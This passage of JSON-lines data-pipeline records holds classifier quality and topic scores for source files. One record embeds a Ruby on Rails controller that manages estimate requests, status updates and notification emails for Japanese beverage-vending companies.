0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10013, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10013, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:12.049467+00:00", "scoring_key_slot": "primary", "dataset_uid": "dc49c5bf-2fd1-4e91-ab68-b681f693bc79", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "f1263c36f1635d848d5fcdd1a61ffae9893441181815c692afb2620a05126a52", "source_metadata": {"uuid": "dc49c5bf-2fd1-4e91-ab68-b681f693bc79", "repo_name": "danieldreier/puppet-tsp", "relative_path": "tasks/ca.rake", "category": "TOOL", "algo_rel_score": 0.9566909670829773, "quality_score": 5.995066165924072, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 3, "repo_created_at": "2014-08-23T01:09:26.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "b10c6452a4192b54c4c2b3d4a6fe439c989dc863", "size_bytes": 5666, "file_timestamp": 1408916449, "language": "ruby", "is_vendor": false, "license_type": "permissive", "detected_licenses": ["Apache-2.0"]}, "commit_id": "f06b02b40d60fc451b8a47f043e387fdce789778"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 3, "repo_created_at": "2014-08-23T01:09:26.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "b10c6452a4192b54c4c2b3d4a6fe439c989dc863", "size_bytes": 5666, "file_timestamp": 1408916449, "language": "ruby", "is_vendor": false, "license_type": "permissive", "detected_licenses": ["Apache-2.0"]}, "commit_id": "f06b02b40d60fc451b8a47f043e387fdce789778", "url": "https://github.com/danieldreier/puppet-tsp/blob/f06b02b40d60fc451b8a47f043e387fdce789778/tasks/ca.rake"}, "gpt4o_tokens": 1452, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.860125274121036, "noise_severity": 0.02504102971418489, "missing_content_severity": 0.0048331305786683595, "factual_density": 3.2707312822925534, "pretraining_utility": 0.5067618421373213, "math_density": 0.20441351505358585, "code_density": 3.9037743676988286, "reasoning_density": 0.3035115514457813, "education_level": 2.7522993055946006, "creative_writing_quality": -0.24467206130699712}, "score_applicability": {"education_level": 0.9988794028389422, "creative_writing_quality": 0.0009812417791654924}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/kenta-crv/payrent/blob/69d41021ba12253b780739726242ae11e50aefed/app/controllers/estimates_controller.rb", "id": "ruby-0-e3d539c4ad64b39a51747d8da8402712", "text": "class EstimatesController < ApplicationController\n before_action :check_admin, except: [:decline, :accept, :update_status, :new, :confirm, :thanks]\n before_action :check_client, only: [:decline, :accept, :update_status]\n add_breadcrumb \"フォーム入力ページ\", :new_estimate_path, only: [:confirm]\n def index\n @q = Estimate.ransack(params[:q])\n @estimates = @q.result.order(created_at: :desc)\n @estimates_for_view = @estimates.page(params[:page]).per(100)\n \n respond_to do |format|\n format.html\n format.csv do\n send_data @estimates.generate_csv, filename: \"estimates-#{Time.zone.now.strftime('%Y%m%d%S')}.csv\"\n end\n end\n end\n\n def new\n @estimate = Estimate.new\n end\n\n def confirm\n @estimate = Estimate.new(estimate_params)\n add_breadcrumb \"入力内容確認\"\n if @estimate.valid?\n render :action => 'confirm'\n else\n render :action => 'new'\n end\n end\n\n def thanks\n @estimate = Estimate.new(estimate_params)\n @estimate.save\n EstimateMailer.received_email(@estimate).deliver # 管理者に通知\n EstimateMailer.send_email(@estimate).deliver # 送信者に通知\n end\n\n def contract\n @estimates = Estimate.joins(:comment).where.not(sales_price: nil).where(\"comments.cocacola = ? OR comments.asahi = ? OR comments.itoen = ? OR comments.dydo = ? OR comments.yamakyu = ? OR comments.neos = ?\", \"契約\", \"契約\", \"契約\", \"契約\", \"契約\", \"契約\")\n end\n\n def neos\n @estimates = Estimate.joins(:comment).where.not(percentage_other: 0).where(\"comments.neos\": \"契約\")\n end\n\n def create\n @estimate = Estimate.new(estimate_params)\n @estimate.save\n redirect_to thanks_estimates_path\n end\n\n def show\n @estimate = Estimate.find_by(id: params[:id])\n \n if @estimate.nil?\n redirect_to estimates_path, alert: \"指定された見積もりは見つかりませんでした。\"\n return\n end\n \n if admin_signed_in?\n # 管理者の場合、制限なしにアクセス許可\n elsif admin_signed_in? && !@estimate.accepted_by_client?\n # クライアントユーザーで案件が承諾されていない場合\n redirect_to root_path, alert: 'この案件にはアクセスできません。'\n return\n end\n \n # 必要なインスタンス変数の設定\n @comment = @estimate.comment || Comment.new\n @progress = Progress.new\n @transfer = Transfer.new\n @payment = Payment.new\n end\n\n\n def edit\n @estimate = Estimate.find(params[:id])\n end\n\n def select_sent\n @client = Client.all\n render \"selectcomp\"\n end\n\n def destroy\n @estimate = Estimate.find(params[:id])\n @estimate.destroy\n redirect_to estimates_path, alert:\"削除しました\"\n end\n\n def update\n @estimate = Estimate.find(params[:id])\n if @estimate.update(estimate_params)\n redirect_to estimates_path(@estimate), alert: \"更新しました\"\n else\n render 'edit'\n end\n end\n\n def share_email\n estimate = Estimate.find(params[:estimate_id])\n EstimateMailer.share_email(estimate).deliver_now\n redirect_to estimate_path(estimate), notice: 'Email sent successfully.'\n end\n\n def outside_email\n estimate = Estimate.find(params[:estimate_id])\n EstimateMailer.outside_email(estimate).deliver_now\n redirect_to estimate_path(estimate), notice: 'Email sent successfully.'\n end\n\n def old_email\n estimate = Estimate.find(params[:estimate_id])\n EstimateMailer.old_email(estimate).deliver_now\n redirect_to estimate_path(estimate), notice: 'Email sent successfully.'\n end\n\n def send_mail\n @estimate = Estimate.find(params[:id])\n @estimate.update(send_mail_flag: true)\n EstimateMailer.client_email(@estimate).deliver # 全企業に送信\n redirect_to estimate_path(@estimate), alert: \"送信しました\"\n end\n\n def send_mail_cfsl\n @estimate = Estimate.find(params[:id])\n @comment = Comment.find_or_initialize_by(estimate_id: params[:id])\n \n # クライアントIDを処理\n params[:clients].each do |_key, client_ids|\n client_ids.each do |client_id|\n next if client_id.blank?\n \n client = Client.find(client_id)\n\n # メール送信\n EstimateMailer.client_email_select(@estimate, client).deliver_now\n \n # コメントの更新\n case client.company\n when \"アサヒ飲料株式会社 中部支社\", \"アサヒ飲料株式会社 関西支社\", \"アサヒ飲料株式会社\"\n @comment.update(asahi: \"依頼中\")\n when \"コカ・コーラボトラーズジャパン株式会社\"\n @comment.update(cocacola: \"依頼中\")\n when \"株式会社伊藤園\"\n @comment.update(itoen: \"依頼中\")\n when \"ダイドードリンコ株式会社\"\n @comment.update(dydo: \"依頼中\")\n when \"合同会社ファクトル\"\n @comment.update(yamakyu: \"依頼中\")\n when \"ネオス株式会社\"\n @comment.update(neos: \"依頼中\")\n when \"合同会社ファクトル\"\n @comment.update(body: \"依頼中\")\n end\n end\n end\n redirect_to estimates_path, alert: \"#{@estimate.co}が指定した企業へ送信しました。\"\n end\n\n def accept\n estimate = Estimate.find(params[:id])\n client = Client.find(params[:client_id])\n comment = Comment.find_or_initialize_by(estimate_id: estimate.id)\n # 現地調査開始日を更新\n comment.inspection_start_date = Date.today\n\n case client.company\n when \"アサヒ飲料株式会社 中部支社\", \"アサヒ飲料株式会社 関西支社\", \"アサヒ飲料株式会社\"\n comment.update(asahi: \"現地調査中\")\n when \"コカ・コーラボトラーズジャパン株式会社\"\n comment.update(cocacola: \"現地調査中\")\n when \"株式会社伊藤園\"\n comment.update(itoen: \"現地調査中\")\n when \"ダイドードリンコ株式会社\"\n comment.update(dydo: \"現地調査中\")\n when \"合同会社ファクトル\"\n comment.update(yamakyu: \"現地調査中\")\n when \"ネオス株式会社\"\n comment.update(neos: \"現地調査中\")\n when \"合同会社ファクトル\"\n comment.update(body: \"現地調査中\")\n end\n EstimateMailer.client_public_email(estimate, client, comment).deliver_now\n EstimateMailer.net_accept_email(estimate, client).deliver_now\n flash[:notice] = \"案件詳細メールを送信しました。\"\n redirect_to root_path\n end\n \n def decline\n estimate = Estimate.find(params[:id])\n client = Client.find(params[:client_id])\n comment = Comment.find_or_initialize_by(estimate_id: estimate.id)\n case client.company\n when \"アサヒ飲料株式会社 中部支社\", \"アサヒ飲料株式会社 関西支社\", \"アサヒ飲料株式会社\"\n comment.update(asahi: \"設置NG\")\n when \"コカ・コーラボトラーズジャパン株式会社\"\n comment.update(cocacola: \"設置NG\")\n when \"株式会社伊藤園\"\n comment.update(itoen: \"設置NG\")\n when \"ダイドードリンコ株式会社\"\n comment.update(dydo: \"設置NG\")\n when \"合同会社ファクトル\"\n comment.update(yamakyu: \"設置NG\")\n when \"ネオス株式会社\"\n comment.update(neos: \"設置NG\")\n when \"合同会社ファクトル\"\n comment.update(body: \"設置NG\")\n end\n EstimateMailer.net_decline_email(estimate, client).deliver_now\n flash[:notice] = \"案件を辞退しました。\"\n redirect_to root_path\n end\n\n def recruit\n @estimates = Estimate.order(created_at: \"DESC\").where(send_mail_flag: \"送信済\").page(params[:page])\n end\n\n def share\n @q = Estimate.joins(:progresses).where(progresses: { document: \"シェアサイクル\" }).ransack(params[:q])\n @estimates_for_view = @q.result.page(params[:page]).per(100).order(created_at: :desc)\n end\n\n def manufacturer\n @q = Estimate.with_specific_comments.ransack(params[:q])\n @estimates_for_view = @q.result(distinct: true).page(params[:page]).per(100).order(created_at: :desc)\n end\n\n def sfa\n @q = Estimate.joins(:comment).where(\"comments.net\": [\"未提案\",\"提案中\",\"検討中\"]).ransack(params[:q])\n @estimates_for_view = @q.result.page(params[:page]).per(100).order(created_at: :desc)\n end\n\n def info\n @clients = Client.all\n end\n\n def import\n cnt = Estimate.import(params[:file])\n redirect_to estimates_url, notice:\"#{cnt}件登録されました。\"\n end\n\n private\n def estimate_params\n params.require(:estimate).permit(\n :company, #会社名\n :name, #名前\n :tel, #電話番号\n :postnumber, #郵便番号\n :address, #住所\n :email,\n :payment, #振込金額\n :remarks, #要望\n )\n end\nend\n", "text_preview": "class EstimatesController < ApplicationController before_action :check_admin, except: [:decline, :accept, :update_status, :new, :confirm, :thanks] before_action :check_client, only: [:decline, :accept, :update_status] add_breadcrumb \"フォーム入力", "input_sha256": "3c2f7a00d028526bc96dc7c83efce4913bc2f62747da23f8ad3afe35f4b9be8e", "text_sha256": "e3d539c4ad64b39a51747d8da840271257e1798fb7429810205cd5378e9a2672", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16078, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 0, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.24865693077866638, "noise_severity": 0.03359352095053498, "missing_content_severity": 0.019615674715454494, "factual_density": 3.349559654136788, "pretraining_utility": 0.41672473515445, "math_density": 0.009887912148834558, "code_density": 3.9523938802972802, "reasoning_density": 0.38242988291456564, "education_level": 2.2193040148307364, "creative_writing_quality": -0.440009799185891}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.004287089370562658, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9968524037474198, "secondary": 0.9847796416720843, "tertiary": 0.9892531262326715, "structured_records": 0.07153056196961491, "procedural_steps": 0.004103035830220998, "worked_solution": 0.0010964474968503206, "contextual_dialogue": 6.172093932694929e-06, "content_quality": 0.38792632814297756, "noise_severity": 0.9720053992078875, "missing_content_severity": 0.9836536044037879, "factual_density": 0.45796637844732324, "pretraining_utility": 0.40381997373081, "math_density": 0.9917600732093045, "code_density": 0.9603282335810669, "reasoning_density": 0.6813084309045286, "education_level": 0.703391289112495, "creative_writing_quality": 0.9991688458002296, "primary_topic": 0.9780307374182181, "secondary_topic": 0.81669558809259}, "probability_margin": {"primary": 0.9953110766418174, "secondary": 0.9787108275264216, "tertiary": 0.9855049728419979, "education_level": 0.5317561444986894, "creative_writing_quality": 0.9990091540760448, "primary_topic": 0.9649432840762411, "secondary_topic": 0.6978068630758182}, "raw_probabilities": {"primary": {"Academic Writing": 3.323983270614459e-05, "Content Listing": 3.473645170510415e-05, "Creative Writing": 1.950962105772776e-05, "Customer Support Page": 9.530576421694713e-06, "Q&A Forum": 1.341677359886232e-05, "Discussion Thread": 8.27364614213504e-06, "Comment Section": 1.509662763592217e-05, "Missing Content": 2.4303734032624554e-05, "Knowledge Article": 5.2635227783503695e-05, "Legal Notices": 3.783101100350412e-05, "News Article": 5.129567014791285e-06, "Organizational Announcement": 1.2211644346472387e-05, "Nonfiction Writing": 1.1270092803235124e-05, "Organizational About Page": 1.2886054902753891e-05, "Personal About Page": 1.552254372572084e-05, "Personal Blog": 8.094552747484464e-06, "Product Page": 8.978042045977268e-06, "Spam / Ads": 1.3413216995744561e-05, "Structured Data": 0.0008536589766228826, "Technical Writing": 0.9969835535912773, "Transcript / Interview": 1.4718849025797525e-05, "Tutorial / How-To Guide": 0.00013269698789659677, "User Reviews": 6.815429048206784e-06, "Other / Unknown": 0.0016724769494599516}, "secondary": {"Academic Writing": 0.00013155907463762212, "Content Listing": 0.00026410262498580524, "Creative Writing": 0.000116333779871652, "Customer Support Page": 5.968662357367103e-05, "Q&A Forum": 4.418788525282895e-05, "Discussion Thread": 3.7884513336674124e-05, "Comment Section": 0.0014145120517715581, "Missing Content": 0.0003761124593662581, "Knowledge Article": 0.0003356583630127014, "Legal Notices": 0.00024122477177921628, "News Article": 5.530467154819441e-05, "Organizational Announcement": 5.806518722696299e-05, "Nonfiction Writing": 6.710881870938448e-05, "Organizational About Page": 7.318804687879516e-05, "Personal About Page": 6.419946506676411e-05, "Personal Blog": 5.115248427020415e-05, "Product Page": 3.886724646461057e-05, "Spam / Ads": 7.785130377632104e-05, "Structured Data": 0.003926068832450403, "Technical Writing": 0.006702995742659219, "Transcript / Interview": 9.04047853021564e-05, "Tutorial / How-To Guide": 0.00032973388018258835, "User Reviews": 2.99741187955393e-05, "NONE": 0.9854138232690808}, "tertiary": {"Academic Writing": 7.949656037274826e-05, "Content Listing": 0.0002621572157574631, "Creative Writing": 9.940103323528055e-05, "Customer Support Page": 4.4860591293492936e-05, "Q&A Forum": 2.898857550569638e-05, "Discussion Thread": 2.9101256484541916e-05, "Comment Section": 0.0014623698639458793, "Missing Content": 0.00045815156457740746, "Knowledge Article": 0.00030205723471413414, "Legal Notices": 0.00021166134137593564, "News Article": 3.965759665416345e-05, "Organizational Announcement": 4.679877714252392e-05, "Nonfiction Writing": 6.597511191238338e-05, "Organizational About Page": 7.400677995271005e-05, "Personal About Page": 4.4313389396141566e-05, "Personal Blog": 3.683036699952855e-05, "Product Page": 3.15249372362316e-05, "Spam / Ads": 7.790994097682943e-05, "Structured Data": 0.0021782827178084825, "Technical Writing": 0.00419593979764565, "Transcript / Interview": 7.150399954748689e-05, "Tutorial / How-To Guide": 0.00043590609431818305, "User Reviews": 2.219261350363996e-05, "NONE": 0.9897009126396435}, "structured_records": {"false": 0.9284694380303851, "true": 0.07153056196961491}, "procedural_steps": {"false": 0.995896964169779, "true": 0.004103035830220998}, "worked_solution": {"false": 0.9989035525031497, "true": 0.0010964474968503206}, "contextual_dialogue": {"false": 0.9999938279060673, "true": 6.172093932694929e-06}, "content_quality": {"-2": 0.025614557267962603, "-1": 0.19168662318895507, "0": 0.3717427310720088, "1": 0.3303395084386003, "2": 0.08061658003247317}, "noise_severity": {"0": 0.9727317334175688, "1": 0.02249796262040603, "2": 0.0036622791290612457, "3": 0.0006610992598496132, "4": 0.00044692557311440547}, "missing_content_severity": {"0": 0.9892682498391475, "1": 0.004657493581377237, "2": 0.0036681376181079196, "3": 0.0020025699476071152, "4": 0.0004035490137600173}, "factual_density": {"0": 0.0045134799623927375, "1": 0.010851614735275395, "2": 0.1148203184113692, "3": 0.37019094498507654, "4": 0.49962364190588615}, "pretraining_utility": {"-2": 0.010921796283559828, "-1": 0.10812104762080717, "0": 0.4003381640919952, "1": 0.41454860866489895, "2": 0.06607038333873894}, "math_density": {"0": 0.9929330723749569, "1": 0.0055330437366021175, "2": 0.000729534413029638, "3": 0.00032159831547186747, "4": 0.0004827511599393902}, "code_density": {"0": 0.00013274714338907165, "1": 0.00022263965810218053, "2": 0.004797114195291982, "3": 0.03681298376427295, "4": 0.9580345152389438}, "reasoning_density": {"0": 0.7728073318405748, "1": 0.10227313556451939, "2": 0.10317371923174341, "3": 0.01317394456608977, "4": 0.00857186879707252}, "education_level": {"none": 0.0011099885545826482, "0": 0.0015668178300832262, "1": 0.015243361134551237, "2": 0.7528260742604125, "3": 0.22106992976172313, "4": 0.008183828458647329}, "creative_writing_quality": {"not_applicable": 0.9993073715001913, "-2": 0.00011148152312988068, "-1": 0.0001931376601620227, "0": 0.0002982174241465155, "1": 6.824640543008516e-05, "2": 2.154548694021889e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.523323289610941e-05, "Art & Design": 9.774203621492669e-05, "Law & Crime": 0.00011562177649217931, "Education & Careers": 0.00010520156053815105, "Entertainment & Media": 6.0813163650015037e-05, "Fashion & Beauty": 8.688143416335479e-05, "Business, Economics & Finance": 0.013932424979737916, "Food & Dining": 0.0008760583110615176, "Games & Gaming": 0.00012152586206218588, "Electronics & Hardware": 0.00011673020725328581, "Health, Healthcare & Wellness": 5.40067794110688e-05, "History & Geography": 5.79614032033152e-05, "Home, Pets & Hobbies": 0.00012782233830653346, "Industry & Production": 0.0008595317616372333, "Language, Literature & Philosophy": 7.473201969618682e-05, "Politics & Government": 8.380331675421717e-05, "Religion & Spirituality": 6.320870339911823e-05, "Science, Mathematics & Engineering": 0.00013027717021644309, "Relationships & Community": 5.148450605056894e-05, "Software Usage & Applications": 0.0006146089689420196, "Programming & Software Engineering": 0.978875709055979, "Sports & Fitness": 7.881577605687226e-05, "Vehicles & Transportation": 0.0003864030955194575, "Travel & Tourism": 8.17275334308228e-05, "Other / Uncovered Subject": 0.0027042305579060683, "Unknown / Insufficient Content": 0.0001774444494216398}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007171382527359733, "Art & Design": 0.000839479671815584, "Law & Crime": 0.001201815815550498, "Education & Careers": 0.0005237486926142607, "Entertainment & Media": 0.0007329666153126198, "Fashion & Beauty": 0.00045592080409297044, "Business, Economics & Finance": 0.12593889470551836, "Food & Dining": 0.006321270550919905, "Games & Gaming": 0.000631422101552614, "Electronics & Hardware": 0.0006261394974572495, "Health, Healthcare & Wellness": 0.00037161929972121145, "History & Geography": 0.00031489120684219314, "Home, Pets & Hobbies": 0.0005894187824619743, "Industry & Production": 0.0017895505276037582, "Language, Literature & Philosophy": 0.00047177925894319064, "Politics & Government": 0.00046070637030181126, "Religion & Spirituality": 0.000413929906762961, "Science, Mathematics & Engineering": 0.0005110111664112907, "Relationships & Community": 0.00023951936155570995, "Software Usage & Applications": 0.00326872836128609, "Programming & Software Engineering": 0.021342490256117338, "Sports & Fitness": 0.0003282805044537597, "Vehicles & Transportation": 0.0011483872727534273, "Travel & Tourism": 0.00048610336771078136, "Other / Uncovered Subject": 0.006529029868167828, "NONE": 0.8237457577813365}}, "probabilities": {"primary": {"Academic Writing": 3.323983270614458e-05, "Content Listing": 3.473645170510414e-05, "Creative Writing": 1.9509621057727756e-05, "Customer Support Page": 9.530576421694712e-06, "Q&A Forum": 1.3416773598862317e-05, "Discussion Thread": 8.273646142135038e-06, "Comment Section": 1.5096627635922166e-05, "Missing Content": 2.4303734032624547e-05, "Knowledge Article": 5.263522778350368e-05, "Legal Notices": 3.7831011003504115e-05, "News Article": 5.129567014791284e-06, "Organizational Announcement": 1.2211644346472383e-05, "Nonfiction Writing": 1.1270092803235122e-05, "Organizational About Page": 1.2886054902753888e-05, "Personal About Page": 1.5522543725720838e-05, "Personal Blog": 8.094552747484462e-06, "Product Page": 8.978042045977266e-06, "Spam / Ads": 1.3413216995744558e-05, "Structured Data": 0.0008536589766228824, "Technical Writing": 0.9969835535912771, "Transcript / Interview": 1.4718849025797521e-05, "Tutorial / How-To Guide": 0.00013269698789659674, "User Reviews": 6.815429048206782e-06, "Other / Unknown": 0.0016724769494599512}, "secondary": {"Academic Writing": 0.00013155907463762215, "Content Listing": 0.0002641026249858053, "Creative Writing": 0.00011633377987165201, "Customer Support Page": 5.9686623573671036e-05, "Q&A Forum": 4.418788525282896e-05, "Discussion Thread": 3.788451333667413e-05, "Comment Section": 0.0014145120517715583, "Missing Content": 0.00037611245936625815, "Knowledge Article": 0.00033565836301270146, "Legal Notices": 0.0002412247717792163, "News Article": 5.530467154819442e-05, "Organizational Announcement": 5.8065187226963e-05, "Nonfiction Writing": 6.710881870938449e-05, "Organizational About Page": 7.318804687879518e-05, "Personal About Page": 6.419946506676412e-05, "Personal Blog": 5.115248427020416e-05, "Product Page": 3.8867246464610574e-05, "Spam / Ads": 7.785130377632106e-05, "Structured Data": 0.003926068832450404, "Technical Writing": 0.0067029957426592195, "Transcript / Interview": 9.040478530215642e-05, "Tutorial / How-To Guide": 0.0003297338801825884, "User Reviews": 2.9974118795539305e-05, "NONE": 0.9854138232690809}, "tertiary": {"Academic Writing": 7.949656037274826e-05, "Content Listing": 0.0002621572157574631, "Creative Writing": 9.940103323528055e-05, "Customer Support Page": 4.4860591293492936e-05, "Q&A Forum": 2.898857550569638e-05, "Discussion Thread": 2.9101256484541916e-05, "Comment Section": 0.0014623698639458793, "Missing Content": 0.00045815156457740746, "Knowledge Article": 0.00030205723471413414, "Legal Notices": 0.00021166134137593564, "News Article": 3.965759665416345e-05, "Organizational Announcement": 4.679877714252392e-05, "Nonfiction Writing": 6.597511191238338e-05, "Organizational About Page": 7.400677995271005e-05, "Personal About Page": 4.4313389396141566e-05, "Personal Blog": 3.683036699952855e-05, "Product Page": 3.15249372362316e-05, "Spam / Ads": 7.790994097682943e-05, "Structured Data": 0.0021782827178084825, "Technical Writing": 0.00419593979764565, "Transcript / Interview": 7.150399954748689e-05, "Tutorial / How-To Guide": 0.00043590609431818305, "User Reviews": 2.219261350363996e-05, "NONE": 0.9897009126396435}, "structured_records": {"false": 0.9284694380303851, "true": 0.07153056196961491}, "procedural_steps": {"false": 0.995896964169779, "true": 0.004103035830220998}, "worked_solution": {"false": 0.9989035525031497, "true": 0.0010964474968503206}, "contextual_dialogue": {"false": 0.9999938279060673, "true": 6.172093932694929e-06}, "content_quality": {"-2": 0.025614557267962603, "-1": 0.19168662318895507, "0": 0.3717427310720088, "1": 0.3303395084386003, "2": 0.08061658003247317}, "noise_severity": {"0": 0.9727317334175688, "1": 0.02249796262040603, "2": 0.0036622791290612457, "3": 0.0006610992598496132, "4": 0.00044692557311440547}, "missing_content_severity": {"0": 0.9892682498391477, "1": 0.0046574935813772375, "2": 0.0036681376181079204, "3": 0.0020025699476071157, "4": 0.0004035490137600174}, "factual_density": {"0": 0.0045134799623927375, "1": 0.010851614735275395, "2": 0.1148203184113692, "3": 0.37019094498507654, "4": 0.49962364190588615}, "pretraining_utility": {"-2": 0.010921796283559828, "-1": 0.10812104762080717, "0": 0.4003381640919952, "1": 0.41454860866489895, "2": 0.06607038333873894}, "math_density": {"0": 0.992933072374957, "1": 0.005533043736602118, "2": 0.0007295344130296382, "3": 0.0003215983154718675, "4": 0.00048275115993939025}, "code_density": {"0": 0.00013274714338907165, "1": 0.00022263965810218053, "2": 0.004797114195291982, "3": 0.03681298376427295, "4": 0.9580345152389438}, "reasoning_density": {"0": 0.7728073318405749, "1": 0.1022731355645194, "2": 0.10317371923174343, "3": 0.013173944566089772, "4": 0.008571868797072522}, "education_level": {"none": 0.0011099885545826482, "0": 0.0015668178300832262, "1": 0.015243361134551237, "2": 0.7528260742604125, "3": 0.22106992976172313, "4": 0.008183828458647329}, "creative_writing_quality": {"not_applicable": 0.9993073715001913, "-2": 0.00011148152312988068, "-1": 0.0001931376601620227, "0": 0.0002982174241465155, "1": 6.824640543008516e-05, "2": 2.154548694021889e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.52332328961094e-05, "Art & Design": 9.774203621492666e-05, "Law & Crime": 0.00011562177649217928, "Education & Careers": 0.00010520156053815102, "Entertainment & Media": 6.081316365001502e-05, "Fashion & Beauty": 8.688143416335477e-05, "Business, Economics & Finance": 0.013932424979737913, "Food & Dining": 0.0008760583110615173, "Games & Gaming": 0.00012152586206218585, "Electronics & Hardware": 0.00011673020725328578, "Health, Healthcare & Wellness": 5.4006779411068784e-05, "History & Geography": 5.796140320331519e-05, "Home, Pets & Hobbies": 0.00012782233830653343, "Industry & Production": 0.0008595317616372331, "Language, Literature & Philosophy": 7.473201969618681e-05, "Politics & Government": 8.380331675421716e-05, "Religion & Spirituality": 6.320870339911822e-05, "Science, Mathematics & Engineering": 0.00013027717021644306, "Relationships & Community": 5.1484506050568925e-05, "Software Usage & Applications": 0.0006146089689420195, "Programming & Software Engineering": 0.9788757090559788, "Sports & Fitness": 7.881577605687224e-05, "Vehicles & Transportation": 0.00038640309551945737, "Travel & Tourism": 8.172753343082279e-05, "Other / Uncovered Subject": 0.002704230557906068, "Unknown / Insufficient Content": 0.00017744444942163979}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007171382527359734, "Art & Design": 0.0008394796718155841, "Law & Crime": 0.0012018158155504982, "Education & Careers": 0.0005237486926142609, "Entertainment & Media": 0.0007329666153126199, "Fashion & Beauty": 0.0004559208040929705, "Business, Economics & Finance": 0.1259388947055184, "Food & Dining": 0.0063212705509199055, "Games & Gaming": 0.0006314221015526141, "Electronics & Hardware": 0.0006261394974572496, "Health, Healthcare & Wellness": 0.0003716192997212115, "History & Geography": 0.0003148912068421932, "Home, Pets & Hobbies": 0.0005894187824619744, "Industry & Production": 0.0017895505276037584, "Language, Literature & Philosophy": 0.0004717792589431907, "Politics & Government": 0.0004607063703018113, "Religion & Spirituality": 0.00041392990676296105, "Science, Mathematics & Engineering": 0.0005110111664112908, "Relationships & Community": 0.00023951936155570998, "Software Usage & Applications": 0.0032687283612860903, "Programming & Software Engineering": 0.02134249025611734, "Sports & Fitness": 0.00032828050445375976, "Vehicles & Transportation": 0.0011483872727534275, "Travel & Tourism": 0.0004861033677107814, "Other / Uncovered Subject": 0.006529029868167829, "NONE": 0.8237457577813366}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 